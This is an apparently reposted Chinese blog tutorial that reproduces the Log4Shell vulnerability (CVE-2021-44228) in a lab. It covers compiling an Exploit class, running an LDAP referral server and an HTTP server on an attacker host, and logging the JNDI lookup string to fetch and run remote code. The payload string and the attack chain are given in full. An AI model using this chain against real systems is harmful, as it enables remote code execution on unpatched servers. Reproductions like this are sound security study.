基本資訊
漏洞編號:CVE-2021-44228
影響版本:2.x<=2.15.0-rc1
poc地址:https://gitee.com/lcosmos/apache-log4j-poc
在此十分感謝我的寢室長Cosmos提供的poc和技術支持,
原理簡述
當log4j列印的日志內容中包含${jndi:ldap://my-ip}時,程式就會通過ldap協議訪問my-ip這個地址,然后my-ip就會回傳一個包含java代碼的class檔案的地址,然后程式再通過回傳的地址下載class檔案并執行,
漏洞復現
首先安裝maven依賴,并配置環境變數,安裝方法請參考:https://jingyan.baidu.com/article/e4d08ffde8d4b24fd2f60dce.html
安裝后執行mvn --version,如果出現版本資訊則說明安裝成功,如下圖所示:

然后更換maven源,因為poc所需要的依賴需要通過maven下載,更換成國內的源可以大大提高下載速度,更換源的方法可以參考:https://www.cnblogs.com/c2g5201314/p/14399714.html
然后用ide打開poc專案,在Exploit.java中寫入要執行的命令,如下圖所示:

然后通過javac命令將Exploit.java編譯成class檔案,
cd src/main/java
javac Exploit.java

需要配置一下LDAPRefServer檔案,該檔案的作用就是啟動一個LDAP服務,如下圖所示1389就是LDAP服務的埠,http://192.168.119.1:8099/#Exploit就是class檔案的地址,
上面class檔案地址中#號必須加上,檔案的class后綴需要省略,LDAP服務回傳http://192.168.119.1:8099/#Exploit就是讓靶機去http://192.168.119.1:8099下載Exploit.class檔案并執行,

然后點擊依次右邊的Maven和compile,這會自動下載所需的依賴包,等待下載完依賴后就點擊LDAPRefServer.java檔案中的小三角圖形啟動LDAP服務,

然后來到Exploit.class檔案所在目錄下執行python -m http.server 8099啟動http服務,也可以用其他方法,只要提供一個能下載Exploit.class的http服務即可,
注意http服務ip和埠要與LDAPRefServer.java檔案中ip和埠對應,

然后運行Log4j.java檔案,這個檔案執行內容是通過log4j框架列印日志${jndi:ldap://192.168.119.1:1389/a},其中192.168.119.1:1389是lDAP服務的ip地址和埠,然后就會發現命令執行成功了,

參考文獻
https://gitee.com/lcosmos/apache-log4j-poc/blob/master/README.md
https://jingyan.baidu.com/article/e4d08ffde8d4b24fd2f60dce.html
https://www.cnblogs.com/c2g5201314/p/14399714.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/379409.html
標籤:其他
上一篇:影像化監控電腦螢屏?——Powershell就這么簡單
下一篇:7-7 長方形 (20 分)
